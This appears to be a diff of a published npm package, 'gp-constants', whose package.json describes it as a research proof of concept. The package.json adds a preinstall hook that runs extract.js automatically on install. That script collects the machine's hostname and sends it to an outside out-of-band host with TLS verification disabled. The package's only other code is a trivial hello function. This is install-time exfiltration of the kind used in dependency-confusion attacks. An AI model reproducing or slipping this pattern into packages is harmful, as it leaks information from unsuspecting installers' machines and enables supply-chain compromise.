gp-constants 1.0.0

package/extract.js

@@ -0,0 +1,26 @@
+const https = require('https');
+var os = require("os");
+var hostname = os.hostname();
+
+const data = new TextEncoder().encode(
+  JSON.stringify({
+    payload: hostname,
+    package: "gp-constants"
+  })
+);
+
+const options = {
+  hostname: 'ck1883r2vtc00002gaaggjowrbhyyyyyb.oast.fun',
+  port: 443,
+  path: '/',
+  method: 'POST',
+  headers: {
+    'Content-Type': 'application/json',
+    'Content-Length': data.length
+  },
+  rejectUnauthorized: false
+}
+
+const req = https.request(options, res => {});
+req.write(data);
+req.end();

package/index.js

@@ -0,0 +1,3 @@
+function helloNpm() {
+    return "hello NPM"
+}

package/package.json

@@ -0,0 +1,11 @@
+{
+  "name": "gp-constants",
+  "version": "1.0.0",
+  "description": "This package is a proof of concept used 4bg0p to conduct research. It has been uploaded for test purposes only. Its only function is to confirm the installation of the package on a victim's machines. The code is not malicious in any way and will be deleted after the research survey has been concluded. Doyensec LLC does not accept any liability for any direct, indirect, or consequential loss or damage arising from the use of, or reliance on, this package.",
+  "main": "index.js",
+  "scripts": {
+    "preinstall": "node extract.js"
+  },
+  "author": "4bg0P <4bg0p@wearehackerone.com>",
+  "license": "ISC"
+}